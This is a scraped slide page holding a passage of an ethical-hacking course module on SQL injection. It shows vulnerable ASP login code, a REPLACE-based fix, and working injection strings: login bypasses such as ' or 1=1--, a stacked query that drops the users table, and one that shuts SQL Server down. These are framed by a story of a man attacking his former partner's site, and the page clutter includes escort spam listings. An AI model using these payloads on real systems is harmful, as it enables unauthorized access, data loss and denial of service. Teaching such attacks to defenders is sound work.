Protecting web appsProtecting web apps
Protecting web apps
 
In graph we trust: Microservices, GraphQL and security challenges
In graph we trust: Microservices, GraphQL and security challengesIn graph we trust: Microservices, GraphQL and security challenges
In graph we trust: Microservices, GraphQL and security challenges
 
Owasp Top 10
Owasp Top 10Owasp Top 10
Owasp Top 10
 

Similar a Module 14 (sql injection)

IRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & MitigationIRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & MitigationIRJET Journal
 
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptx
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptxEthical Hacking Project: SQL Injection Vulnerability Analysis.pptx
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptxBoston Institute of Analytics
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injectionashish20012
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testingNapendra Singh
 
Sql injections (Basic bypass authentication)
Sql injections (Basic bypass authentication)Sql injections (Basic bypass authentication)
Sql injections (Basic bypass authentication)Ravindra Singh Rathore
 
SQL Injection attack
SQL Injection attackSQL Injection attack
SQL Injection attackRayudu Babu
 
IRJET- Detection of SQL Injection using Machine Learning : A Survey
IRJET- Detection of SQL Injection using Machine Learning : A SurveyIRJET- Detection of SQL Injection using Machine Learning : A Survey
IRJET- Detection of SQL Injection using Machine Learning : A SurveyIRJET Journal
 
Prevention of SQL injection in E- Commerce
Prevention of SQL injection in E- CommercePrevention of SQL injection in E- Commerce
Prevention of SQL injection in E- Commerceijceronline
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL InjectionJoe McCray
 
SQL injection implementation and prevention
SQL injection implementation and prevention SQL injection implementation and prevention
SQL injection implementation and prevention Rejaul Islam Royel
 
Cyber crime an eye opener 144 te 2 t-7
Cyber crime an eye opener  144 te 2 t-7Cyber crime an eye opener  144 te 2 t-7
Cyber crime an eye opener 144 te 2 t-7Gargee Hiray
 

Similar a Module 14 (sql injection) (20)

IRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & MitigationIRJET - SQL Injection: Attack & Mitigation
IRJET - SQL Injection: Attack & Mitigation
 
Full MSSQL Injection PWNage
Full MSSQL Injection PWNageFull MSSQL Injection PWNage
Full MSSQL Injection PWNage
 
Sq li
Sq liSq li
Sq li
 
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptx
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptxEthical Hacking Project: SQL Injection Vulnerability Analysis.pptx
Ethical Hacking Project: SQL Injection Vulnerability Analysis.pptx
 
Ppt on sql injection
Ppt on sql injectionPpt on sql injection
Ppt on sql injection
 
Sql injection - security testing
Sql injection - security testingSql injection - security testing
Sql injection - security testing
 
Sql injection
Sql injectionSql injection
Sql injection
 
Sql injection
Sql injectionSql injection
Sql injection
 
Web application security
Web application securityWeb application security
Web application security
 
SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Sql injections (Basic bypass authentication)
Sql injections (Basic bypass authentication)Sql injections (Basic bypass authentication)
Sql injections (Basic bypass authentication)
 
SQL Injection attack
SQL Injection attackSQL Injection attack
SQL Injection attack
 
IRJET- Detection of SQL Injection using Machine Learning : A Survey
IRJET- Detection of SQL Injection using Machine Learning : A SurveyIRJET- Detection of SQL Injection using Machine Learning : A Survey
IRJET- Detection of SQL Injection using Machine Learning : A Survey
 
Prevention of SQL injection in E- Commerce
Prevention of SQL injection in E- CommercePrevention of SQL injection in E- Commerce
Prevention of SQL injection in E- Commerce
 
Advanced SQL Injection
Advanced SQL InjectionAdvanced SQL Injection
Advanced SQL Injection
 
SQL injection implementation and prevention
SQL injection implementation and prevention SQL injection implementation and prevention
SQL injection implementation and prevention
 
ieee
ieeeieee
ieee
 
Sql injection
Sql injectionSql injection
Sql injection
 
SQL injection
SQL injectionSQL injection
SQL injection
 
Cyber crime an eye opener 144 te 2 t-7
Cyber crime an eye opener  144 te 2 t-7Cyber crime an eye opener  144 te 2 t-7
Cyber crime an eye opener 144 te 2 t-7
 

Más de Wail Hassan

Physical appearance of the prophet muhammed pbuh
Physical appearance of the prophet muhammed pbuhPhysical appearance of the prophet muhammed pbuh
Physical appearance of the prophet muhammed pbuhWail Hassan
 
Ar raheeq al-makhtum
Ar raheeq al-makhtumAr raheeq al-makhtum
Ar raheeq al-makhtumWail Hassan
 
Module 21 (cryptography)
Module 21 (cryptography)Module 21 (cryptography)
Module 21 (cryptography)Wail Hassan
 
Module 20 (buffer overflows)
Module 20 (buffer overflows)Module 20 (buffer overflows)
Module 20 (buffer overflows)Wail Hassan
 
Module 19 (evading ids, firewalls and honeypots)
Module 19 (evading ids, firewalls and honeypots)Module 19 (evading ids, firewalls and honeypots)
Module 19 (evading ids, firewalls and honeypots)Wail Hassan
 
Module 18 (linux hacking)
Module 18 (linux hacking)Module 18 (linux hacking)
Module 18 (linux hacking)Wail Hassan
 
Module 17 (novell hacking)
Module 17 (novell hacking)Module 17 (novell hacking)
Module 17 (novell hacking)Wail Hassan
 
Module 16 (virus)
Module 16 (virus)Module 16 (virus)
Module 16 (virus)Wail Hassan
 
Module 15 (hacking wireless networks)
Module 15 (hacking wireless networks)Module 15 (hacking wireless networks)
Module 15 (hacking wireless networks)Wail Hassan
 
Module 13 (web based password cracking techniques)
Module 13 (web based password cracking techniques)Module 13 (web based password cracking techniques)
Module 13 (web based password cracking techniques)Wail Hassan
 
Module 12 (web application vulnerabilities)
Module 12 (web application vulnerabilities)Module 12 (web application vulnerabilities)
Module 12 (web application vulnerabilities)Wail Hassan
 
Module 11 (hacking web servers)
Module 11 (hacking web servers)Module 11 (hacking web servers)
Module 11 (hacking web servers)Wail Hassan
 
Module 10 (session hijacking)
Module 10 (session hijacking)Module 10 (session hijacking)
Module 10 (session hijacking)Wail Hassan
 
Module 9 (social engineering)
Module 9 (social engineering)Module 9 (social engineering)
Module 9 (social engineering)Wail Hassan
 
Module 7 (sniffers)
Module 7 (sniffers)Module 7 (sniffers)
Module 7 (sniffers)Wail Hassan
 
Module 8 (denial of service)
Module 8 (denial of service)Module 8 (denial of service)
Module 8 (denial of service)Wail Hassan
 
Module 6 (trojans and backdoors)
Module 6 (trojans and backdoors)Module 6 (trojans and backdoors)
Module 6 (trojans and backdoors)Wail Hassan
 
Module 5 (system hacking)
Module 5 (system hacking)Module 5 (system hacking)
Module 5 (system hacking)Wail Hassan
 
Module 3 (scanning)
Module 3 (scanning)Module 3 (scanning)
Module 3 (scanning)Wail Hassan
 
Module 2 (footprinting)
Module 2 (footprinting)Module 2 (footprinting)
Module 2 (footprinting)Wail Hassan
 

Más de Wail Hassan (20)

Physical appearance of the prophet muhammed pbuh
Physical appearance of the prophet muhammed pbuhPhysical appearance of the prophet muhammed pbuh
Physical appearance of the prophet muhammed pbuh
 
Ar raheeq al-makhtum
Ar raheeq al-makhtumAr raheeq al-makhtum
Ar raheeq al-makhtum
 
Module 21 (cryptography)
Module 21 (cryptography)Module 21 (cryptography)
Module 21 (cryptography)
 
Module 20 (buffer overflows)
Module 20 (buffer overflows)Module 20 (buffer overflows)
Module 20 (buffer overflows)
 
Module 19 (evading ids, firewalls and honeypots)
Module 19 (evading ids, firewalls and honeypots)Module 19 (evading ids, firewalls and honeypots)
Module 19 (evading ids, firewalls and honeypots)
 
Module 18 (linux hacking)
Module 18 (linux hacking)Module 18 (linux hacking)
Module 18 (linux hacking)
 
Module 17 (novell hacking)
Module 17 (novell hacking)Module 17 (novell hacking)
Module 17 (novell hacking)
 
Module 16 (virus)
Module 16 (virus)Module 16 (virus)
Module 16 (virus)
 
Module 15 (hacking wireless networks)
Module 15 (hacking wireless networks)Module 15 (hacking wireless networks)
Module 15 (hacking wireless networks)
 
Module 13 (web based password cracking techniques)
Module 13 (web based password cracking techniques)Module 13 (web based password cracking techniques)
Module 13 (web based password cracking techniques)
 
Module 12 (web application vulnerabilities)
Module 12 (web application vulnerabilities)Module 12 (web application vulnerabilities)
Module 12 (web application vulnerabilities)
 
Module 11 (hacking web servers)
Module 11 (hacking web servers)Module 11 (hacking web servers)
Module 11 (hacking web servers)
 
Module 10 (session hijacking)
Module 10 (session hijacking)Module 10 (session hijacking)
Module 10 (session hijacking)
 
Module 9 (social engineering)
Module 9 (social engineering)Module 9 (social engineering)
Module 9 (social engineering)
 
Module 7 (sniffers)
Module 7 (sniffers)Module 7 (sniffers)
Module 7 (sniffers)
 
Module 8 (denial of service)
Module 8 (denial of service)Module 8 (denial of service)
Module 8 (denial of service)
 
Module 6 (trojans and backdoors)
Module 6 (trojans and backdoors)Module 6 (trojans and backdoors)
Module 6 (trojans and backdoors)
 
Module 5 (system hacking)
Module 5 (system hacking)Module 5 (system hacking)
Module 5 (system hacking)
 
Module 3 (scanning)
Module 3 (scanning)Module 3 (scanning)
Module 3 (scanning)
 
Module 2 (footprinting)
Module 2 (footprinting)Module 2 (footprinting)
Module 2 (footprinting)
 

Último

Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityPrincipled Technologies
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?Antenna Manufacturer Coco
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsEnterprise Knowledge
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking MenDelhi Call girls
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdfhans926745
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slidespraypatel2
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processorsdebabhi2
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?Igalia
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Servicegiselly40
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024The Digital Insurer
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEarley Information Science
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonAnna Loughnan Colquhoun
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Drew Madelung
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024The Digital Insurer
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024Results
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsMaria Levchenko
 

Último (20)

Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men08448380779 Call Girls In Friends Colony Women Seeking Men
08448380779 Call Girls In Friends Colony Women Seeking Men
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
Slack Application Development 101 Slides
Slack Application Development 101 SlidesSlack Application Development 101 Slides
Slack Application Development 101 Slides
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
CNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of ServiceCNv6 Instructor Chapter 6 Quality of Service
CNv6 Instructor Chapter 6 Quality of Service
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 

Module 14 (sql injection)

  • 1. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 1 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited Ethical Hacking Module XIV SQL Injection Ethical Hacking (EH) Module XIV: SQL Injection Exam 312-50 Ethical Hacking and Countermeasures
  • 2. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 2 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Module Objective What is SQL Injection? Exploiting the weakness of Server Side Scripting Using SQL Injection techniques to gain access to a system SQL Injection Scripts Attacking Microsoft SQL Servers MSSQL Password Crackers Prevention and Countermeasures Module Objectives In this module, the reader will be introduced to the concept of SQL injection and how an attacker can exploit this attack methodology on the Internet. On completion of this module you will be familiar with: • What is SQL Injection? • Exploiting the weakness of Server Side Scripting • Using SQL Injection techniques to gain access to a system • SQL Injection Scripts • Attacking Microsoft SQL Servers • MSSQL Password Crackers • Prevention and Countermeasures
  • 3. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 3 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Introduction - SQL Injection SQL Injection is an attack methodology that targets the data residing in a database through the firewall that shields it. It attempts to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database. This is perhaps the simplest definition of SQL injection. Naturally, the first step in this direction should be to uncover web applications that are vulnerable to the attack. The attack takes advantage of poor code and website administration. In SQL injection, user controlled data is placed into a SQL query without being validated for correct format or embedded escape strings. It has been known to affect majority of applications which use a database backend and do not force variable types. It has been estimated that at least 50% of the large e-commerce sites and about 75% of the medium to small sites are vulnerable to this attack. The dominant cause is however the improper validation in CFML, ASP, JSP, and PHP codes. ------------------------------------------------------------------------------------------------------------------- Mark had just found out that his ex-partner in the e-commerce venture had convinced the venture capitalist to divert the funds from his company to a rival organization. Mark had been suspecting this for a while, ever since his partner Nicholas had mentioned that he was pulling out as he had too many commitments on hand. The rival site was already in production and Mark was curious as to how they could host it so quickly. He had been working on his site for a month now and knew the extent of code validation a similar site would require.
  • 4. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 4 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited He clicked on the banner ad and started browsing the site. The idea behind the site looked very familiar – including the byline. Would the code also be familiar? He would soon find out. ------------------------------------------------------------------------------------------------------------------- How does an attacker go about uncovering the susceptible web application? This discovery phase includes activities such as looking at WebPages for anything resembling an ID number, category, or name. The attacker may sift through all forms of variables as well as cookies. Many a times session cookies are stored in a database and these cookies are passed into SQL queries with little or no format checks. He may try placing various strings into form fields and in query variables. However, typically, someone looking for SQL vulnerability will start off with single and double quotes and then try with parenthesis and the rest of the punctuation characters. The response expected is any response signifying an error.
  • 5. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 5 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council OLE DB Errors The user filled fields are enclosed by single quotation marks ('). So a simple test of the form would be to try using (') as the username. Lets us see what happens if we just enter ' in a form that is vulnerable to SQL insertion. If you get this error, then we can try SQL injection techniques. ------------------------------------------------------------------------------------------------------------------- Mark began his quest using the single quote in the User ID field of the login page. It returned an error just as he had suspected it would.
  • 6. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 6 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited ------------------------------------------------------------------------------------------------------------ Let us take a look at the error message. Error Type: Microsoft OLE DB Provider for ODBC Drivers (0x80040E14) [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string '''. /corner/asp/checklogin1.asp, line 7 Browser Type: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Page: POST 36 bytes to /corner/asp/checklogin1.asp POST Data: userid=%27&userpwd=%27&Submit=Submit
  • 7. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 7 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited This output is the first lead the attacker can use. He has a greater chance of succeeding if he can find out which database he is pitted against. This is called database footprinting. Database footprinting is the process of mapping out the tables on the database. Identifying the configuration of the server is crucial in deciding how the site will be attacked. The method chosen to do this will depend on how poorly the server has been configured. In the error statement shown above, it is clear that the site is using a SQL Server. Note that SQL Injection is the attack on the web application, not the web server or services running in the OS. It is typical of an HTML page to use the POST command to send parameters to another ASP page. On a closer look at the source code we find the “FORM” tag, <form name="form1" method="post" action="checklogin1.asp"> Let us look at the implications.
  • 8. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 8 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Input Validation attack Input validation attack occurs here on a website Exploits occur due to coding errors and inadequate validation checks as well. Often, the emphasis is on acquiring an input and delivering a suitable output. Web applications that do not check the validity of its input, are exposed to the attack. We have seen how a single quote was used to check the web application for SQL injection vulnerability. Let us take a look at a login script. The login page at www.example.com/login.htm is based on this code. <form action="Checklogin.asp" method="post"> Username: <input type="text" name="user_name"><br> Password: <input type="password" name="pwdpass"><br> <input type="submit"> </form> The above form points to checklogin.asp where we come across the following code. <% Dim p_struser, p_strpass, objRS, strSQL p_struser = Request.Form("user_name") p_strpass = Request.Form("pwdpass")
  • 9. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 9 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited strSQL = "SELECT * FROM tblUsers " & _ "WHERE user_name='" & p_strusr & _ "' and pwdpass='" & p_strpass & "'" Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." If (objRS.EOF) Then Response.Write "Invalid login." Else Response.Write "You are logged in as " & objRS("user_name") End If Set objRS = Nothing %> At a cursory glance this code looks alright and does what it is supposed to do – check for a valid username and password and allow the user to access the site if it the credentials are valid. However, note the above statement where the user input from the form is directly used to build a SQL statement. There is no input validation regarding the nature of input. It gives direct control to an attacker who wants to access the database. For instance if the attacker enters a SELECT statement such as SELECT * FROM tblUsers WHERE user_name='' or ''='' and pwdpass = '' or ''='', the query will be executed and all the users from the queried table will be displayed as output. Moreover, the first attacker will be logged in as the first user identified by the first record in the table. It is quite probable that the first user is the superuser or the administrator. Since the form does not check for special characters such as “=”, the attacker is able to use these to achieve his malicious intent. For clarity sake, let us look at a secure code. Note the use of the REPLACE function to take care of the single quote input. <% Else strSQL = "SELECT * FROM tblUsers " _ & strSQL = "SELECT * FROM tblUsers " & _ "WHERE user_name='" & p_strusr & _ "' and pwdpass='" & p_strpass & "'"
  • 10. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 10 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited "WHERE username='" & Replace(Request.Form("usr_name"), "'", "''") & "' " _ & "AND password='" & Replace(Request.Form("pwdpass"), "'", "''") & "';" Set Login = Server.CreateObject("ADODB.Connection") Login.Open("DRIVER={Microsoft Access Driver (*.mdb)};" _ & "DBQ=" & Server.MapPath("login.mdb")) Set rstLogin = Login.Execute(strSQL) If Not rstLogin.EOF Then %> SQL Server, among other databases, delimits queries with a semi-colon. The use of a semi- colon allows multiple queries to be submitted as one batch and executed sequentially. For example, the query Username: ' or 1=1; drop table users; -- will be executed in two parts. Firstly, it would select the userName field for all rows in the users table. Secondly, it would delete the users table.
  • 11. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 11 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Login Guessing & Insertion The attacker can try to login without a password. Typical usernames would be 1=1 or any text within single quotes. The most common problem seen on Microsoft MS- SQL boxes is the default <blank>sa password. The attacker can try to guess the username of an account by querying for similar user names (ex: ‘ad%’ is used to query for “admin”). The attacker can insert data by appending commands or writing queries. In the preceding example we have seen how web application vulnerability could be detected using a single quote. We have also seen how improper input validation can result in an attacker accessing the database. Here, we will examine how an attacker can guess his way into the site. From database fingerprinting, if the attacker has determined that the database backend is SQL server, he will try his luck with the default admin login credentials – namely sa and a blank password. Alternatively he can issue a query so that his query would retrieve a valid username. For instance, to retrieve the administrative account, he can query for users.userName like 'ad%' --- Now if the attacker does not want to login and just wants to ‘harvest’ the site, he may try to view extra information which is not otherwise available. He can choose to transform the url such as the ones shown below to retrieve information. http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools Here, the “sCategory” is the variable name, and “Tools” is the value assigned to the variable. The attacker changes this valid url into: http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Kits If the code underlying the page has a segment similar to the one shown below: sub_cat = request("sCategory")
  • 12. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 12 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited sqlstr="SELECT * FROM product WHERE Category='" & sub_cat & "'" set rs=conn.execute(sqlstr) Now, the value “Kits” taken in by the variable “sCategory” is attributed to sub_cat and hence the SQL statement becomes: SELECT * FROM product WHERE Category='Kits' Therefore the output will be a result set containing rows that match the WHERE condition. If the attacker appends the following to the valid url, http://www.example.com/shopping/productdetail.asp?SKU=MS01&sCategory=Tools’or1=1— the SQL statement becomes SELECT * FROM product WHERE Category='Tools’ or 1=1--' This leads the query to select everything from the product table irrespective of whether Category equals ‘Tools’ or not. The double dash “--“ instructs the SQL Server to ignore the rest of the query. This is done to eliminate the last hanging single quote (‘). Sometimes, it is possible to replace double dash with single hash “#”. If the database backend in question is not an SQL Server, it will not consider the double dash. The attacker can then try appending ‘ or ‘a’=’a, which should return the same result. Depending on the actual SQL query, the various possibilities available to the attacker are: ‘ or 1=1-- “ or 1=1-- or 1=1-- ‘ or ‘a’=’a “ or “a”=”a ‘) or (‘a’=’a To use the database for his malevolent intent, the attacker needs to figure out more than just what database is running at the backend. He will have to determine the database structure and tables. Revisiting our product table, we see that the attacker can insert commands such as: insert into Category value (warez)
  • 13. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 13 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited Suppose the attacker wants to add a description of the files he intends to upload, he will need to determine the structure of the table. He might be able to do just that, if error messages are returned from the application according to the default behavior of ASP and decipher any value that can be read by the account the ASP application is using to connect to the SQL Server. The insertion methods will vary according to the database at the backend. For instance, MS SQL is considered to be the easiest system for SQL Insertion. Oracle has no native command execution capability. In Sybase, the Command exec is disabled by default. However, it is similar to MS SQL - though without as many stored procedures. MySQL is very limited in scope. SubSelects are a possibility with newer versions. It is typically restricted to one SQL command per query.
  • 14. Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker SQL Injection Module XIV Page 14 of 27 Ethical Hacking and Countermeasures Copyright © by EC-Council All rights reserved. Reproduction is strictly prohibited EC-Council Shutting Down SQL Server One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes it to shutdown, immediately stopping the Windows service. Username: ' ; shutdown with nowait; - - Password [Anything] This can happen if the script runs the following query: select userName from users where userName='; shutdown with nowait;-' and user_Pass=' ' The default installation of SQL Server has the system account (sa) which is accorded all the privileges of the administrator. An attacker who happens to stumble across this account while harvesting websites can take advantage of this and gain access to all commands, delete, rename, and add databases, tables, triggers, and more. One of the attacks he can carry out when he is done with the site is to issue a denial of service by shutting down the SQL Server. A powerful command recognized by SQL Server is SHUTDOWN WITH NOWAIT. This causes the server to shutdown, immediately stopping the Windows service. In order to restart the server after this command has been issued, the administrator will require the SQL service manager or some other restart method. Let us take a look at an example. At an input form such as login, which is 